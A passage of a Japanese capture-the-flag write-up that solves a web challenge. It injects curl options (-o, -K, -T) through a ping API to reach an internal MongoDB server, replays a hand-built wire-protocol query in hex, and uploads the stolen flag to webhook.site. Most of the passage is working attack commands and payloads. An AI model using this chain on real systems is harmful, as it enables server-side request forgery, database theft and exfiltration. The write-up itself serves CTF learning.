const { MongoClient } = require("mongodb"); const client = new MongoClient("mongodb://localhost:27017/"); client.connect().then(async () => { const flag = client.db("secret").collection("flag"); console.log((await flag.findOne()).flag); client.close(); });
dice{test_flag}
が返ってくるようなレスポンスを発生させたリクエストは、次のようなものだった。
00000000 92 00 00 00 03 00 00 00 00 00 00 00 dd 07 00 00 |............Ý...| 00000010 00 00 00 00 00 7d 00 00 00 02 66 69 6e 64 00 05 |.....}....find..| 00000020 00 00 00 66 6c 61 67 00 03 66 69 6c 74 65 72 00 |...flag..filter.| 00000030 05 00 00 00 00 10 6c 69 6d 69 74 00 01 00 00 00 |......limit.....| 00000040 08 73 69 6e 67 6c 65 42 61 74 63 68 00 01 10 62 |.singleBatch...b| 00000050 61 74 63 68 53 69 7a 65 00 01 00 00 00 03 6c 73 |atchSize......ls| 00000060 69 64 00 1e 00 00 00 05 69 64 00 10 00 00 00 04 |id......id......| 00000070 bd e0 73 f0 c6 9a 43 54 93 5b 73 87 a1 ee 01 34 |½àsðÆ.CT.[s.¡î.4| 00000080 00 02 24 64 62 00 07 00 00 00 73 65 63 72 65 74 |..$db.....secret| 00000090 00 00 |..|
試しに、これを app
コンテナから curl
で telnet://
を使ってMongoDBサーバに送ってみる。そのままだとなかなか curl
が終了してくれないので、-m1
でタイムアウトを1秒にしておく。実行すると、同じメッセージでダミーのフラグを手に入れることができた。なるほど、これをリプレイするだけでよさそう。
user@51be22709e2e:/tmp$ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd 00000000: 9700 0000 8426 0000 0300 0000 dd07 0000 .....&.......... 00000010: 0000 0000 0082 0000 0003 6375 7273 6f72 ..........cursor 00000020: 0069 0000 0004 6669 7273 7442 6174 6368 .i....firstBatch 00000030: 0038 0000 0003 3000 3000 0000 075f 6964 .8....0.0...._id 00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c .c...J.....{..fl 00000050: 6167 0010 0000 0064 6963 657b 7465 7374 ag.....dice{test 00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000 _flag}....id.... 00000070: 0000 0000 0002 6e73 000c 0000 0073 6563 ......ns.....sec 00000080: 7265 742e 666c 6167 0000 016f 6b00 0000 ret.flag...ok... 00000090: 0000 0000 f03f 00 .....?. user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd 00000000: 9700 0000 8526 0000 0300 0000 dd07 0000 .....&.......... 00000010: 0000 0000 0082 0000 0003 6375 7273 6f72 ..........cursor 00000020: 0069 0000 0004 6669 7273 7442 6174 6368 .i....firstBatch 00000030: 0038 0000 0003 3000 3000 0000 075f 6964 .8....0.0...._id 00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c .c...J.....{..fl 00000050: 6167 0010 0000 0064 6963 657b 7465 7374 ag.....dice{test 00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000 _flag}....id.... 00000070: 0000 0000 0002 6e73 000c 0000 0073 6563 ......ns.....sec 00000080: 7265 742e 666c 6167 0000 016f 6b00 0000 ret.flag...ok... 00000090: 0000 0000 f03f 00 .....?.
次のような手順でフラグを取得する。
- MongoDBサーバへのSSRF用の設定ファイルを、
-o GET
でGET
に保存させる- この設定ファイルは、
-m1 -o POST -T POST telnet://mongodb:27017
相当のリクエストが送られるものにする
- この設定ファイルは、
- MongoDBサーバに送るためのメッセージを、
-o POST
でPOST
に保存させる -K GET
で発火させるPOST
をWebhook.siteにアップロードさせる
実行するコマンドは次の通り。
$ # 問題サーバにファイルをダウンロードさせるためのWebサーバを立ち上げる $ python3 -m http.server & $ # 設定ファイルその1 $ cat config1 output = "/dev/null" # http://example.comのレスポンスを捨てる upload = "/dev/null" url = "telnet://mongodb:27017" max-time = 1 output = "POST" upload = "POST" $ # 1. MongoDBサーバへのSSRF用の設定ファイルを、-o GET で GET に保存させる $ curl http://…/api/ping -d "url=http://…/config1&opt=-o&data=GET" $ # MongoDBサーバに送るためのメッセージを作成 $ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input $ # 2. MongoDBサーバに送るためのメッセージを、-o POST で POST に保存させる $ curl http://…/api/ping -d "url=http://…/input&opt=-o&data=POST" $ # 3. -K GET で発火させる $ curl http://…/api/ping -d "url=http://example.com&opt=-K&data=GET" $ # 4. POST をWebhook.siteにアップロードさせる $ curl http://…/api/ping -d "url=https://webhook.site/…&opt=-T&data=POST"
フラグが得られた。
dice{i_lied_this_1s_th3_finished_st4te}